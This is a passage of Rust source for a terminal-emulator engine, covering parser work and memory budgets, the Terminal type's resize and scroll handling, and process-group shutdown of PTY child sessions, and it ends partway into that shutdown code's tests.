//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
//! been charged without the parser returning to a clean state.
//!
//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
//! frame releases into the parser in one call, holding the `Term` lock for
//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
//! memory and latency.
/// Max bytes a synchronized update may buffer before it is aborted.
pub const SYNC_CAP: usize = 64 << 10;
/// Max parser-visible bytes chargeable before the parser is rebuilt.
pub const OSC_BUDGET: usize = 256 << 10;
/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
/// before returning, in cell-equivalents.
///
/// Derived, not chosen: measured worst-case density across the 2-D op sweep
/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
/// where fixed dispatch cost dominates the single cell it touches), so a
/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
/// remaining three quarters are headroom for lock acquisition, the counting
/// wrapper's own bookkeeping, and platforms slower than the one measured;
/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
/// spent to the last unit.
pub const WORK_BUDGET: u64 = 250_000;
/// Widest slice handed to the parser at once.
///
/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
/// real scrollback depth -- no wider slice can promise to stop after the
/// callback that crosses. This cap is the other end, set at the throughput
/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
/// measured, so nothing above it buys anything and a larger value only
/// coarsens the cut.
pub const MAX_SLICE: usize = 256;
/// Bytes to hand the parser next.
///
/// The **only** slice-sizing function, deliberately: an earlier version of
/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
/// the scheduler stopped calling when slices became remaining-aware, and the
/// fixtures went on asserting against it. The two disagreed exactly where the
/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
/// were describing a function no longer in the path. One function, one
/// answer, and every test asserts on what `drain` actually calls.
///
/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
/// `remaining / densest` bytes cannot carry a drain past the budget.
///
/// `next_escape` is how far the next `ESC` is from the front of the tail.
/// This is the difference between a correct bound and an unusable one. Only
/// an escape can buy grid-sized work in two bytes; a run of ordinary
/// characters costs at most `columns` per byte (a wrapping line feed that
/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
/// plain text as though every byte might be RIS drops throughput from
/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
/// bounding something that cannot happen. So a plain run is sliced against
/// the plain-byte cost and only the escape itself is metered against the
/// worst atom.
pub fn slice_bytes_remaining(
columns: usize,
lines: usize,
scrollback: usize,
spent: u64,
next_escape: usize,
) -> usize {
let remaining = WORK_BUDGET.saturating_sub(spent);
if next_escape > 0 {
// A plain run, and it stops at the escape: an escape sharing a slice
// with the text in front of it is how a callback runs *after* the one
// that crossed the budget, which is the overrun this bound exists to
// prevent. Worst case per plain byte is a line feed that scrolls,
// which resets one row: `columns`.
let per_byte = (columns as u64).max(1);
return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
}
// An escape starts here. `ESC c` is the densest at two bytes.
let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
((remaining / densest) as usize).clamp(1, MAX_SLICE)
}
/// Work the single worst uninterruptible callback can cost on this grid.
///
/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
/// the parser can cut inside a callback, so a caller converting a work budget
/// into a time bound must add it.
///
/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
/// atom, not the budget, would decide the bound. Stopping at the fixed point
/// makes it `columns`, and the budget goes back to being the thing that sets
/// the bound. Every other callback is priced at or below `cells`, which is
/// larger, so this term never dominates.
pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// RIS: both grids plus the primary's configured scrollback. This is the
// largest single callback by a wide margin -- 16x the budget at the
// default 10k depth -- and it is genuinely indivisible, so it is stated
// rather than smoothed. CBT, once terminated at its fixed point, is
// `columns` and never competes.
//
// Saturating, and widened to u64 *before* multiplying. `Size` fields are
// unclamped `usize` with no caller bounding them, so the products here
// are reachable overflows: in debug that is a panic in the accounting
// path, and in release it wraps to a small number, which understates the
// bound -- an overflow that reports the parser as cheap is the worst of
// the three outcomes.
let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
let both_grids = columns.saturating_mul(lines).saturating_mul(2);
let history = scrollback.saturating_mul(columns);
both_grids.saturating_add(history).max(columns)
}
/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
///
/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
/// exact about which is which, because I got this wrong first and the
/// fixtures caught it:
///
/// * The budget is checked *between* slices, so a drain overshoots by up to
/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
/// under one budget wherever its derivation is unclamped.
/// * A callback already running cannot be preempted. RIS at the default 10k
/// scrollback is worth 16x the whole budget on its own, so on such a grid
/// the floor binds and the overshoot is a few of those atoms. No scheduler
/// outside the parser can fix that -- what it can do is *report* it, which
/// is why this is a function callers can read rather than an assumption
/// they inherit.
pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
// slice against the *remaining* budget, so it cannot start a slice able
// to hold more work than is left. What it cannot do is preempt a callback
// that has begun, which is where this term comes from.
WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
}
/// Max bytes that may sit unparsed before the reader must stop reading the
/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
pub const TAIL_CAP: usize = 4 << 20;
/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
/// the reader does not flap between full and one-byte-below-full.
pub const TAIL_RESUME: usize = 1 << 20;
/// Which fences are active. Both on in production.
///
/// The mutation law requires exercising each fence with the other **disabled**,
/// because F1's abort releases the sync buffer in small pieces and thereby
/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
/// feature: a fence that can be compiled out is one more way for a gate to pass
/// green over code that never ran.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Fences {
/// F1: abort a synchronized update at [`SYNC_CAP`].
pub sync_abort: bool,
/// F2: rebuild the parser at [`OSC_BUDGET`].
pub osc_budget: bool,
}
impl Default for Fences {
fn default() -> Self {
Self {
sync_abort: true,
osc_budget: true,
}
}
}
impl Fences {
/// Production configuration: both fences enforced.
pub const ALL: Self = Self {
sync_abort: true,
osc_budget: true,
};
/// F2 alone — the arm that can observe F2's counting, unmasked by F1.
pub const OSC_ONLY: Self = Self {
sync_abort: false,
osc_budget: true,
};
/// F1 alone.
pub const SYNC_ONLY: Self = Self {
sync_abort: true,
osc_budget: false,
};
/// Neither — the unfenced control that shows what upstream does alone.
pub const NONE: Self = Self {
sync_abort: false,
osc_budget: false,
};
}
/// Per-run fence observations. Every field is what some gate asserts on.
///
/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
/// (omitting flush routes, or charging raw input) still resets — only the
/// charge total distinguishes those. One counter cannot see both mutations.
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
pub struct FenceStats {
/// F1 aborts performed.
pub sync_aborts: u64,
/// Largest number of bytes released to the parser by a single flush,
/// whether via an F1 abort or a legitimate end-of-update. This is the
/// quantity that bounds one lock hold.
pub max_release: usize,
/// F2 parser rebuilds performed.
pub osc_resets: u64,
/// Parser-visible bytes charged against the F2 budget, cumulative across
/// resets. Includes every flush route, not just directly-advanced input.
pub charged_bytes: u64,
/// Parser units completed: one per `Handler` callback dispatched, which is
/// one per fully-parsed escape sequence or printed character.
///
/// Separate from `charged_bytes` because they answer different questions
/// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
/// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
/// units are the proxy for time. See [`crate::units`].
pub completed_units: u64,
/// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
/// charges `columns * lines`, an O(1) callback charges 1.
///
/// Deliberately a second number rather than a replacement for
/// `completed_units`. They answer different questions -- "how many things
/// happened" versus "how much did they cost" -- and a stream of `ESC#8`
/// makes them disagree by four orders of magnitude, which is the entire
/// reason this fence exists.
pub completed_work: u64,
/// Deepest the unparsed tail has been, in bytes. The high-water mark
/// rather than the current depth, because the current depth is zero again
/// by the time a test looks at it.
pub max_pending: usize,
/// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
///
/// Loud on purpose. Reaching the cap means the reader kept reading past
/// the point it was told to stop, so the queue bound is being held by
/// nothing; a silent cap would make that indistinguishable from a reader
/// that is obeying.
pub tail_breaches: u64,
/// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
/// Non-zero anywhere but session close is a bug that ate output.
pub abandoned_bytes: u64,
}
impl FenceStats {
/// Clear all counters. Diagnostics are per-run; a gate that reads a
/// counter accumulated across runs is asserting on the wrong thing.
pub fn reset(&mut self) {
*self = Self::default();
}
}

View File

@@ -0,0 +1,290 @@
//! Terminal engine for the Buzz substrate.
//!
//! Owns the emulator: grid state, the parser, the two hardening fences, and
//! the damage encoding the renderer consumes. It does **not** own the PTY, the
//! child process, or the transport — those are the embedder's, so this crate
//! stays testable against byte fixtures with no process and no window.
pub mod context;
pub mod damage;
pub mod env_fence;
pub mod fences;
pub mod lifecycle;
pub mod listener;
pub mod path;
pub mod reader;
pub mod shared;
pub mod shell;
pub mod units;
#[cfg(test)]
mod context_tests;
// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
// builds these two -- and they drive real PTYs, `libc::kill`, and unix
// permission bits, which do not exist there. Gating the *modules* rather than
// their contents keeps the unix-only shape honest: the code under test is
// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
// `context_tests` is pure string logic and stays portable.
#[cfg(all(test, unix))]
mod env_fence_tests;
#[cfg(all(test, unix))]
mod lifecycle_tests;
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::term::{Config, Osc52, Term};
use alacritty_terminal::vte::ansi::CursorStyle;
pub use fences::{FenceStats, Fences};
pub use listener::{Action, Listener};
pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
/// Which grid a frame or a resize refers to.
///
/// Generation and dimensions travel together as one value because they answer
/// one question -- "is this the grid I am currently showing?" -- and a consumer
/// that compares them field by field can compare two of the three and be wrong
/// on a resize that changes only the one it skipped.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Viewport {
/// Advances on every *applied* resize. A same-size resize is inert and
/// does not advance it, so an unchanged `ResizeObserver` tick cannot look
/// like a discontinuity.
pub generation: u64,
pub columns: usize,
pub screen_lines: usize,
}
/// Terminal dimensions in cells, plus how much scrollback to retain.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Size {
pub columns: usize,
pub screen_lines: usize,
pub scrollback: usize,
}
impl Default for Size {
fn default() -> Self {
Self {
columns: 80,
screen_lines: 24,
scrollback: 10_000,
}
}
}
impl Dimensions for Size {
fn total_lines(&self) -> usize {
self.screen_lines + self.scrollback
}
fn screen_lines(&self) -> usize {
self.screen_lines
}
fn columns(&self) -> usize {
self.columns
}
}
/// Build the emulator config.
///
/// Written as an explicit literal rather than `..Default::default()` so that
/// every security-relevant field is stated here and an upstream default change
/// cannot alter our posture silently. In particular `osc52` defaults to
/// `OnlyCopy` upstream, which would let terminal output write the user's
/// clipboard; we disable it outright.
pub fn config(size: Size) -> Config {
Config {
scrolling_history: size.scrollback,
default_cursor_style: CursorStyle::default(),
vi_mode_cursor_style: None,
semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
kitty_keyboard: false,
osc52: Osc52::Disabled,
}
}
/// A terminal: emulator state plus the fenced parser that drives it.
pub struct Terminal {
term: Term<Listener>,
feeder: reader::Feeder,
size: Size,
generation: u64,
}
impl Terminal {
pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
let (listener, actions) = Listener::new();
let term = Term::new(config(size), &size, listener);
(
Self {
term,
feeder: reader::Feeder::new(
fences,
size.columns,
size.screen_lines,
size.scrollback,
),
size,
generation: 0,
},
actions,
)
}
/// Feed PTY output through the fences into the emulator.
///
/// Parses what one work budget affords and returns with the rest held as
/// a pending tail, so one call cannot hold the terminal for an unbounded
/// time. **The caller must pump [`Terminal::drain`] until it returns
/// false**, releasing the lock between calls; that is the whole point --
/// the tail exists to give the renderer a chance at the lock, not to defer
/// work indefinitely. [`Terminal::pending_bytes`] and
/// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
pub fn feed(&mut self, bytes: &[u8]) -> bool {
self.feeder.feed(&mut self.term, bytes)
}
/// Parse more of the pending tail. Returns whether any remains.
pub fn drain(&mut self) -> bool {
self.feeder.drain(&mut self.term);
self.feeder.pending_bytes() > 0
}
/// Feed and parse to completion, without the intervening lock releases.
///
/// For tests and for callers with no renderer contending -- it reinstates
/// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
/// is deliberately a separate name rather than a flag on `feed`.
pub fn feed_fully(&mut self, bytes: &[u8]) {
self.feed(bytes);
while self.drain() {}
}
/// Bytes accepted but not yet parsed.
pub fn pending_bytes(&self) -> usize {
self.feeder.pending_bytes()
}
/// Whether the tail is at its cap and the reader must stop reading.
/// See [`reader::Feeder::tail_full`] for why production deliberately has
/// no consumer yet.
///
/// There is no production consumer today, deliberately: the desktop
/// runtime pumps `drain()` to completion after every read, so the tail is
/// empty between iterations. A future reader that defers pumping must
/// consult this signal before accepting more PTY bytes.
pub fn tail_full(&self) -> bool {
self.feeder.tail_full()
}
/// Whether a paused reader may resume.
pub fn tail_drained(&self) -> bool {
self.feeder.tail_drained()
}
/// Discard the unparsed tail. Session close only -- see
/// [`reader::Feeder::abandon_tail`].
pub fn abandon_tail(&mut self) -> usize {
self.feeder.abandon_tail()
}
pub fn stats(&self) -> FenceStats {
self.feeder.stats()
}
pub fn reset_stats(&mut self) {
self.feeder.reset_stats();
}
pub fn size(&self) -> Size {
self.size
}
/// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
/// consumer can tell that a frame describes a *different* grid than the one
/// it last drew, without having to infer it from message ordering.
pub fn viewport(&self) -> Viewport {
Viewport {
generation: self.generation,
columns: self.size.columns,
screen_lines: self.size.screen_lines,
}
}
/// Apply a new viewport.
///
/// Takes one target size, never a stream of them: resize is superlinear in
/// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
/// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
/// runs while holding the terminal. Coalescing is the caller's job; this
/// function's job is to make the result observable.
///
/// A resize forces a full damage frame -- upstream's `TermDamageState`
/// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
/// keeps the encoder's per-line hashes from suppressing reflowed content.
/// The generation bump is belt-and-braces on top of that: it lets the
/// consumer *verify* it received the discontinuity rather than assume it.
///
/// Returns the viewport that is now in effect, which is not necessarily the
/// one requested: a same-size call is inert and returns the current
/// generation unchanged. Returning it here rather than making the caller
/// ask afterwards matters across a transport -- a follow-up query races the
/// next resize, so the answer could describe a grid that had already been
/// replaced by the time it was read.
pub fn resize(&mut self, size: Size) -> Viewport {
if size == self.size {
return self.viewport();
}
self.term.resize(size);
self.feeder.resize(size);
self.size = size;
self.generation += 1;
self.viewport()
}
/// Move the viewport through scrollback. **Positive moves *into* history.**
///
/// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
/// second convention in the middle of the stack is a bug waiting for the
/// one caller who reads the wrong doc comment. The DOM has the opposite
/// sense, and the embedder converts once, at the command boundary.
///
/// Returns whether the viewport actually moved. Both ends of history clamp
/// silently upstream, and a caller that repaints on every request would
/// repaint for the whole tail of a momentum gesture after it had already
/// hit the top. Every scroll that *does* move is a full repaint, because
/// `Term::scroll_display` marks the grid fully damaged.
pub fn scroll(&mut self, lines: i32) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
}
/// Return the viewport to the live edge. Returns whether it moved.
///
/// Output alone does not do this: once scrolled back, the grid pins the
/// viewport and lets new lines accumulate above it
/// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
/// embedder ties it to user input.
pub fn scroll_to_bottom(&mut self) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
}
/// How far the viewport sits above the live edge, in lines.
pub fn display_offset(&self) -> usize {
self.term.grid().display_offset()
}
fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
let before = self.display_offset();
self.term.scroll_display(scroll);
self.display_offset() != before
}
pub fn term(&self) -> &Term<Listener> {
&self.term
}
pub fn term_mut(&mut self) -> &mut Term<Listener> {
&mut self.term
}
}

View File

@@ -0,0 +1,267 @@
//! Child-process lifecycle for spawned PTY sessions.
//!
//! Closing a terminal tab must actually end the work the tab was doing. That
//! is harder than calling `kill`, for two reasons that both come from the
//! child being a *session leader* rather than an ordinary subprocess.
//!
//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
//! `sleep` — joins that group or a descendant of it. Signalling the shell's
//! pid alone reaches the shell. A shell that exits without forwarding the
//! signal leaves its children running, reparented to init, holding the pty
//! slave open. That is a leak that survives the window closing.
//!
//! So we signal the **process group** (`kill(-pgid)`), not the pid.
//!
//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
//! It is a correct API for "end this process"; ours is "end this session".
//!
//! ## The escalation
//!
//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
//! the group **whether or not the leader went quietly** -- see `shutdown` for
//! why a polite leader does not imply an empty group.
//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
//! history and let `vim` write its swap file; going straight to `SIGKILL`
//! guarantees no process ever gets that chance. The bounded wait is what makes
//! the escalation real — without it, `SIGKILL` either races the polite path
//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
//! child immortal).
//!
//! ## What this deliberately does not do
//!
//! A process that has called `setsid()` for *itself* has left our group, and
//! no group signal reaches it. `nohup`, a daemonising build tool, and
//! `tmux`-style servers all do this on purpose. We do not hunt the process
//! tree to find them: walking children to signal them is a race against a
//! moving tree — a pid read and then signalled may be a *different* process by
//! the time the signal lands, and killing a stranger's pid is a far worse bug
//! than leaking a daemon the user deliberately detached. Detaching from the
//! session is the documented way to survive one's terminal, and honouring it
//! is correct behaviour, not a gap.
use std::io;
use std::time::{Duration, Instant};
use portable_pty::Child;
/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
///
/// Long enough for a shell to run its exit trap and for an editor to write a
/// swap file; short enough that closing a tab never feels stuck. Tab close is
/// not synchronous with this wait in the UI, so this is a cleanup deadline,
/// not a frame budget.
pub const TERM_GRACE: Duration = Duration::from_millis(250);
/// Poll interval while waiting for the child to exit.
///
/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
/// deadline without a second thread, and the whole point of the grace period
/// is that it expires.
const POLL_INTERVAL: Duration = Duration::from_millis(5);
/// How a session ended.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Shutdown {
/// Already gone before we signalled.
AlreadyExited,
/// Exited within [`TERM_GRACE`] of `SIGTERM`.
Terminated,
/// Ignored or outlived `SIGTERM`; the group was killed.
Killed,
}
/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
/// wait, then `SIGKILL` to the group if anything is still there.
///
/// Reaps the child before returning, so the caller cannot leave a zombie by
/// dropping the handle. Returns which arm ended it, which is what a test can
/// assert on — "did it die" is satisfied by both arms and so distinguishes
/// nothing.
#[cfg(unix)]
pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
// Reap first. A child that already exited still has a pid slot until it is
// waited for, and that pid is reusable the moment it is released -- so
// signalling without checking is how a cleanup path eventually signals an
// unrelated process. Check before signalling, every time.
if child.try_wait()?.is_some() {
return Ok(Shutdown::AlreadyExited);
}
let Some(pid) = child.process_id() else {
// No pid means nothing to signal; still ensure it is reaped.
child.wait()?;
return Ok(Shutdown::AlreadyExited);
};
let pid = pid as i32;
signal_group(pid, libc::SIGTERM);
let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
// Sweep the group unconditionally, *including* when the leader exited
// politely. The leader's exit is not the session's end: anything it
// backgrounded that ignores SIGTERM is still running, still in the group,
// and still holding the pty. Returning `Terminated` at that point reports
// success over a leak.
//
// Ordering with the reap is a safety requirement, not a preference. A
// process group id *is* the leader's pid, and the kernel may recycle that
// pid once the leader is reaped -- at which point `kill(-pid)` names some
// unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
// is still a group member, so the id cannot be reused while we hold it.
// Signal first, reap second, and the window does not exist.
signal_group(pid, libc::SIGKILL);
// SIGKILL cannot be caught, so this terminates. It is still a `wait`
// rather than an assumption: the pid must be reaped, and the exit status
// is only available to whoever reaps it.
child.wait()?;
Ok(if leader_honoured_term {
Shutdown::Terminated
} else {
Shutdown::Killed
})
}
/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
///
/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
/// leader, which it is only because `portable-pty` called `setsid()`. If that
/// ever stops being true, a pid-scoped signal still ends the shell — degraded
/// (grandchildren survive) rather than a silent no-op.
///
/// Errors are deliberately not propagated. Every failure mode here means the
/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
/// and in both cases the following `wait` is the authority on what happened.
#[cfg(unix)]
fn signal_group(pid: i32, signal: i32) {
// SAFETY: `kill` with a negative pid targets the process group; both
// arguments are plain integers and the call has no memory effects.
let sent = unsafe { libc::kill(-pid, signal) };
if sent != 0 {
// SAFETY: as above.
unsafe { libc::kill(pid, signal) };
}
}
/// Polls until the leader has exited, or `deadline` passes. Returns whether it
/// exited in time.
///
/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
/// release the process group id before the sweep above can use it. `WNOWAIT`
/// reads the child's exit state and leaves it waitable, so the zombie stays
/// and keeps the group id reserved for us.
///
/// `waitid`, not `waitpid`, and that is a portability requirement rather than
/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
/// child that has plainly exited. That failure is silent in the shape this
/// function had — an error is indistinguishable from "not exited yet", so the
/// grace period could never be honoured and *every* shutdown escalated to
/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
///
/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
/// the out-parameter must be zeroed before each call and the *pid*, not the
/// return code, is the answer.
#[cfg(unix)]
fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
loop {
// SAFETY: `info` is a valid, fully-initialised out-pointer for the
// duration of the call. `WNOWAIT` leaves the child waitable, so the
// later `wait` still returns its status.
let exited = unsafe {
let mut info: libc::siginfo_t = std::mem::zeroed();
let rc = libc::waitid(
libc::P_PID,
pid as libc::id_t,
&mut info,
libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
);
rc == 0 && info.si_pid() == pid
};
if exited {
return true;
}
if Instant::now() >= deadline {
return false;
}
std::thread::sleep(POLL_INTERVAL);
}
}
/// Maximum concurrent terminal sessions.
///
/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
/// memory per tab. The cap exists because tab creation is one keystroke and
/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
/// process fd table, and the first thing to fail is not the terminal but
/// whatever *else* in Buzz next asks for a file descriptor -- the relay
/// socket, a database handle. A resource a UI can allocate in a loop needs a
/// ceiling that fails in its own subsystem.
///
/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
/// kept deliberately: it is far above any plausible human tab count and far
/// below the default 256-fd soft limit, so it bounds the runaway case without
/// ever being reachable by hand.
pub const MAX_LIVE_SESSIONS: usize = 20;
/// A reader that is still consuming the PTY master, to be stopped only after
/// the session has been torn down.
///
/// This exists because the correct close order is not the obvious one, and
/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
/// (`62509b91`) is that **the reader outlives child termination and reap**:
///
/// 1. mark the session closing and stop publishing to the UI;
/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
/// 3. only then close the master and join the reader.
///
/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
/// is not a hypothetical: a child blocked writing into a master nobody reads
/// does not die promptly even on `SIGKILL`, because the kernel completes the
/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
/// `SIGKILL`ed child against an undrained master, versus microseconds when
/// drained. Join the reader first and every tab close pays that, on the arm
/// where the user is already waiting.
pub trait DrainingReader {
/// Detach parser work and enter raw-drain mode before child termination.
fn begin_closing(&self);
/// Wake a reader that remains blocked after the child has been reaped.
fn stop(&self);
/// Releases the reader thread. Called only after [`DrainingReader::stop`].
fn join(self: Box<Self>);
}
/// Ends a session in the order the drain law requires, and returns how it
/// ended.
///
/// The ordering is enforced by ownership rather than by documentation: this
/// function takes the reader **by value**, so a caller cannot have joined it
/// beforehand -- a joined reader has been consumed and cannot be passed here.
/// The only way to use this API is the correct order. A comment saying "do not
/// join the reader first" is advice; a moved value is a compile error.
#[cfg(unix)]
pub fn shutdown_draining(
child: &mut Box<dyn Child + Send + Sync>,
reader: Box<dyn DrainingReader>,
) -> io::Result<Shutdown> {
reader.begin_closing();
// Terminate and reap with the reader still running, so the child never
// blocks in a tty write while we are waiting on it.
let outcome = shutdown(child);
// Unconditional: wake and release the reader whether or not shutdown
// reported an error. EOF may already have ended it; stop is idempotent.
reader.stop();
reader.join();
outcome
}

View File

@@ -0,0 +1,581 @@
//! Lifecycle gates: the session dies, the grandchild dies with it, and the
//! login `argv[0]` the child actually receives is the one we computed.
//!
//! Every test here drives a real PTY and a real process tree. A mock child
//! would let us assert that we *called* `kill`, which is the half we already
//! know; the property under test is what the kernel does with a process group
//! we do not fully control.
use crate::env_fence::fence_env;
use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
use crate::path::user_shell_path;
use crate::shell::{login_argv0, resolve_shell};
use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
use std::sync::atomic::Ordering;
use std::time::{Duration, Instant};
/// Upper bound on any wait in this file.
///
/// Every wait here is bounded, and that is not caution -- it is the lesson
/// from a probe of an interactive child that read to EOF and hung for 300 s.
/// A PTY master does not reach EOF while any process holds the slave open, so
/// "read until the child is done" is not a terminating program. Bound the
/// read, or poll for the observable effect.
const BOUND: Duration = Duration::from_secs(10);
/// Self-destruct deadline, in seconds, for fixture processes built to ignore
/// signals.
///
/// Comfortably longer than [`BOUND`], so it can never end a process while the
/// test is still observing it -- a watchdog that fires inside the observation
/// window would make a *failing* implementation look correct. Short enough
/// that a crashed run does not leave a core spinning until reboot.
const WATCHDOG: u64 = 60;
fn open_pty() -> PtyPair {
native_pty_system()
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty")
}
/// Drains the PTY master in the background for as long as it stays open.
///
/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
/// the first version of this file. A PTY has a small kernel buffer, and a
/// child writing into a master nobody reads blocks in `write()` once it fills.
/// A process blocked in an uninterruptible tty write does not die promptly on
/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
/// the tty session first, so `wait()` sits there while the reap completes.
/// Measured directly with a `forkpty` C probe: with the master undrained, a
/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
/// product drains its master continuously -- that is what a renderer *is* --
/// so a test that doesn't is modelling a configuration that never ships.
///
/// The consequence is worth stating for the embedder: **shutdown must not be
/// called after the reader has stopped.** Tear the session down while output
/// is still being consumed, or the grace period is spent waiting on a
/// self-inflicted stall.
fn drain(pair: &PtyPair) {
let mut reader = pair.master.try_clone_reader().expect("reader");
std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
});
}
/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg(script);
let child = pair.slave.spawn_command(cmd).expect("spawn");
drain(pair);
child
}
/// True while `pid` exists. `kill(pid, 0)` performs the permission and
/// existence checks without delivering a signal.
fn pid_alive(pid: i32) -> bool {
// SAFETY: signal 0 delivers nothing; both arguments are integers.
unsafe { libc::kill(pid, 0) == 0 }
}
/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
///
/// Polling for the observable state rather than sleeping a fixed duration: a
/// sleep long enough to be reliable is slow, and a sleep short enough to be
/// fast is a race that fails on a loaded machine. Both are worse than asking.
fn poll_until(mut f: impl FnMut() -> bool) -> bool {
let deadline = Instant::now() + BOUND;
while Instant::now() < deadline {
if f() {
